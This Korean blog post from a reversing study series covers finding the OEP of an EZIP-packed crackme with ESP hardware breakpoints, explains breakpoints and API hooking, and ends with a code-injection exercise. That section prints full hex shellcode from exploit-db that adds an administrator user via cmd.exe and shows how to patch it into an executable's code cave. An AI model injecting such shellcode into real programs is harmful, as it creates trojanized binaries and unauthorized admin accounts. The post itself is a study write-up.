리버싱

Simcurity·2023년 6월 4일
0

리버싱

목록 보기
8/9

저번 시간에 MUP과정에서 OEP를 찾고 언패킹을 해보았습니다.
OEP를 찾는 것은 정해진 답이 없어 다양한 경험과 지식을 필요로 합니다.
이번 시간에는 여러가지 사례로 OEP를 찾는 것을 해보겠습니다.

1. ESP 레지스터를 이용한 OEP 찾기

레나 20강의 프로그램 실행하겠습니다.

EZIP으로 패킹된 프로그램으로 간단하게 리버싱은 불가합니다.

스택 프레임은 함수 호출 시 생성되는 공간으로 안에 파라미터와 지역 변수를 저장합니다.
함수가 실행 중일 때 존재하고 종료되면 사라집니다. 또한, 기준점을 중심으로 데이터를 참조하는데 그 기준점은 EBP 레지스터 값을 말합니다. -> EBP 레지스터를 프레임 포인터라고 하고 ESP 레지스터를 스택 포인터라고 합니다.
앞에서 서브루틴 호출 과정을 스택 프레임의 관점에서 보았지만 이번엔 언패킹의 관점에서 바라보겠습니다.

서브루틴 호출
1. PUSH EBP -> 기존의 프레임 포인터 값 백업
2. MOV EBP, ESP -> 호출할 서브루틴의 스택 프레임 생성 (즉, 호출 서브루틴의 새로운 EBP 생성)

서브루틴 종료
1. MOV ESP, EBP -> ESP를 EBP를 백업해 놓은 스택 주소로 이동
2. POP EBP -> EBP 값 복구

만약 호출하는 서브루틴이 언패킹하는 로직일 경우
서브루틴에 들어가기 전 ESP 레지스터에 저장된 주소가 가리키는 값은 현재 루틴의 EBP 레지스터의 값일 것입니다.

왜냐하면, PUSH EBP를 하므로 현재 ESP의 주소에는 EBP의 값이 들어있기 때문입니다.

또한, 언패킹 서브루틴의 로직이 종료되고 이전 함수로 복귀 시 ESP는 다시 EBP 레지스터 값을 읽기 때문에 값을 읽는 부분에 브레이크포인트를 설정하여 언패킹 과정이 끝난 후 OEP로 점프하는 부분을 찾아 프로그램을 언패킹 할 수 있습니다.

2. 브레이크 포인트

올리디버거는 소프트웨어 브레이크 포인트하드웨어 브레이크 포인트가 있습니다.

2-1) 소프트웨어 브레이크 포인트

일반적으로 F2키를 눌러 사용하는 소프트웨어 브레이크포인트는 개수에 제한 없이 필요한 만큼 만들어서 쓸 수 있습니다.
브레이크 포인트 설정 시 해당 명령의 맨 앞 부분의 1바이트가 CC(INT 3)으로 대체되어 운영체제가 코드를 실행하면서 해당 코드를 만나면 인터럽트를 발생시킴으로써 실행에 대한 제어권을 인터럽트 핸들러에게 넘깁니다.
하지만, 올리디버거는 사실 맨 앞의 코드를 CC로 변경하는 것이 아니라 udd 파일에 브레이크 포인트 주소를 기록해놓고 디버거가 udd파일에 기록된 주소를 실행하면 디버깅을 잠시 멈추는 방법으로 사용합니다.

인터럽트와 API 후킹 기술
소프트웨어 인터럽트를 설정하면서 인터럽트가 호출될 때 수행될 함수를 등록합니다.
이것을 인터럽트 서브루틴이라고 부르고 콜백(Callback) 함수로 사용합니다.
즉, 특정 함수 호출 시 인터럽트를 설정하고 콜백 함수에 입력 값을 다른 값으로 바꾸는 로직을 심어 로직을 바꾸어 사용자의 의도와는 전혀 다른 결과를 발생시키는 기술을 API 후킹 기술이라고 합니다.

2-2) 하드웨어 브레이크 포인트

하드웨어 브레이크 포인트는 명령어가 바뀌는 것이 아니라 프로세서에서 디버거를 위해 특별히 제공하는 레지스터인 디버거 레지스터에 브레이크 포인트를 설정하고자 하는 주소를 입력합니다.

32비트의 아키텍처의 경우 8개의 디버거 레지스터가 제공되고 이 중 DR0 ~ DR3까지 총 4개의 레지스터가 브레이크 포인트를 위해 사용됩니다.
하드웨어 브레이크 포인트의 장점은 명령어 뿐 아니라 메모리에도 브레이크 포인트 설정이 가능합니다.

메모리 우클릭 -> breakpoint -> hardware, on write -> byte,word,dword

3. OEP 찾기와 언패킹된 프로그램 저장

이제 본격적으로 20강 프로그램의 OEP를 찾고 언패킹을 해보겠습니다.

우선 DIE로 파일을 보니 ezip으로 패킹되어 있습니다.
또한, 엔트로 포인트가 004650be로 설정되어 있네요.

올리디버거로 실행 시 004650be에서 실행이 멈춥니다.
F8을 눌러보니 바로 서브루틴 호출 과정이 보입니다.

여기서 레지스터와 스택의 상태를 봐보자면

ESP 레지스터 값의 스택 주소에 EBP 레지스터 값이 들어가 있는 것을 볼 수 있습니다.

즉, 서브루틴 종료 시에도 ESP 위치의 백업해 놓은 EBP 값을 POP 시켜야하므로 현재 ESP의 메모리 값을 참조할 것이다. 그래서 하드웨어 브레이크 포인트를 이용하여 메모리에 브레이크 포인트를 설정하면 OEP로 이동하는 지점을 확인할 수 있습니다.

프레임 포인터
서브루틴이 지역 변수를 할당하기 위해 사용하는 공간을 '스택 프레임' 이라고 합니다.
스택 프레임의 내부의 값들은 EBP 레지스터에 저장된 주소를 기준으로 상대 주소를 지정해서 사용합니다. 바로 EBP 레지스터에 저장된 주소를 '프레임 포인터' 라고 합니다.

이제 메모리에 브레이크 포인트를 설정하기 위해 ESP 레지스터를 우클릭 후 Follow Dump로 메모리의 위치를 찾습니다.

첫 부분을 우클릭 후 -> Breakpoint -> hardware, on access -> dword를 해줍니다.
Access 동작에 의한 브레이크 설정을 하는 이유는 데이터를 읽는 동작에 대해 설정해야 하기 때문이고 dword는 4바이트의 단위로 데이터를 읽기 때문에 선택했습니다.

그 후, 위에 Debug 메뉴에서 Hardware Breakpoint를 누르면

다음과 같이 하드웨어 브레이크 포인트 목록이 나옵니다.

이제 F9로 프로그램을 실행하겠습니다.

00468687 까지 실행을 하고 브레이크가 걸립니다.
즉, 이 부분이 기존 서브루틴의 EBP 값을 복구하기위해 아까 브레이크를 설정해 놓은 메모리를 참조하는 부분입니다.

그 다음, JMP EAX를 통해 OEP로 이동하는 것을 볼 수 있습니다.
F8로 스텝 오버 해보면

주소 004271B0으로 점프 후 전형적인 스택 프레임을 생성하는 코드를 확인할 수 있습니다.
즉, OEP는 주소 004271B0임을 알 수 있고 이제 덤프를 하여 새로운 파일을 만들어보겠습니다.

생성한 덤프파일 디버거 실행

4. 코드 인젝션

4-1) 원리

코드 인젝션 기술은 PE 파일의 빈 공간에 셸코드를 입력해서 실행하게 만드는 해킹 기술입니다.
앞서 배운 코드 케이브 기술을 활용하며, 기계어로 만들어진 셸코드를 이용해 공격자가 원하는 동작을 수행하기 위해 사용합니다.

우선 프로그램 내부에서 점프할 부분을 자신이 코드를 작성할 주소로 점프하는 코드로 변경합니다.
셸 코드가 보통 100바이트가 넘어가기 때문에 코드 케이브와 같이 빈 공간에 작성해줍니다.
이 때, 원래 Instruction C인 원래 명령을 가장 윗 부분에 작성해주고 그 밑에 임의의 셸코드를 입력한 후 그 밑에는 다시 Instruction D로 돌아오는 점프 코드를 작성해줍니다.

4-2) 실습

디버거로 abexme1.exe파일을 열어보겠습니다.

  1. 실행 가능한 메모리 영역에 집어넣어야 하므로 메모리 맵에서 확인해야합니다.

  2. 셸코드 찾기
    EXPLOIT DATABASE 홈페이지에서 찾을 수 있습니다.
    https://www.exploit-db.com/exploits/33836 에 사용자를 강제로 추가하는 기능을 가진 셸코드가 있다고 합니다. 우선 확인해보겠습니다.
    \x는 16진수의 표현을 의미하는데 메모리에 직접 16진수를 넣어야하므로 제거하겠습니다.

    31d2b230648b128b520c8b521c8b42088b72208b12807e0c3375f289c703783c8b577801c28b7a2001c731ed8b34af01c645813e57696e4575f28b7a2401c7668b2c6f8b7a1c01c78b7caffc01c7684b336e01682042726f682f414444686f727320687472617468696e6973682041646d68726f75706863616c676874206c6f6826206e656844442026686e202f4168726f4b3368336e20426842726f4b68736572206865742075682f63206e686578652068636d642e89e5fe4d5331c05055ffd7
    가 되었습니다.

  3. 셸코드 입력
    이제 코드영역에 셸코드를 넣어보겠습니다. 대부분 밑으로 내려가다 보면 빈 공간이 많이 남아 있습니다.
    이 곳에 셸코드를 작성할 것입니다.
    우선, 가장 처음 명령을 00401067로 점프하는 명령으로 바꾸고 00401067에 가정 처음 명령인 PUSH 0을 똑같이 쓰겠습니다.
    이제 밑에 셸코드를 인젝션하겠습니다.

    우클릭 후 -> binary -> edit -> keep size를 해제하고 위의 코드를 붙여넣었습니다.

  4. 파일 저장
    우클릭 후 -> copy to excutable -> all modification -> 우클릭 -> save file
    abex1_hacked.exe 로 저장했습니다.

  5. 파일 실행
    사용자 계정 추가는 관리자 권한이 필요하기 때문에 관리자 권한으로 실행 해보겠습니다.

    흠.. 아무래도 윈도우 11 버전까지 오며 사용자 계정을 추가하는 동작을 하는 셸코드가 달라진것 같습니다.

5. 마무리

언패킹 관점에서 스택 프레임 생성 과정을 보며 한층 더 깊은 이해를 하였고 API 후킹에 대해 알 수 있었다.
인터럽트 API 후킹이란 인터럽트 시 수행될 함수를 콜백 함수라고 부르는데 특정 함수 호출 시 임의로 인터럽트를 설정하여 콜백 함수로 들어갈 때 입력 값에 변화를 주는 로직을 심음으로써 사용자의 의도와는 전혀 다른 결과를 발생시키는 기술이다.
또한, 메모리에 브레이크 포인트를 설정할 수 있는 하드웨어 브레이크 포인트에 대해 배웠다.
그리고, 코드 인젝션에 대해 배웠다. 다소 API 후킹과 헷갈릴 수 있지만, 코드 인젝션은 API 후킹과 달리 코드 케이브를 이용해 아예 다른 주소로 동작 순서를 옮겨 동작을 변화시키지만 API 후킹은 인터럽트 후 콜백 함수에 입력 값만을 변조하여 동작을 변화시키는 것이다.
비록, 실습으로 원하는 결과를 얻진 못하였지만 기본적인 코드 인젝션 기술을 써보았다는 것에 만족한다.

0개의 댓글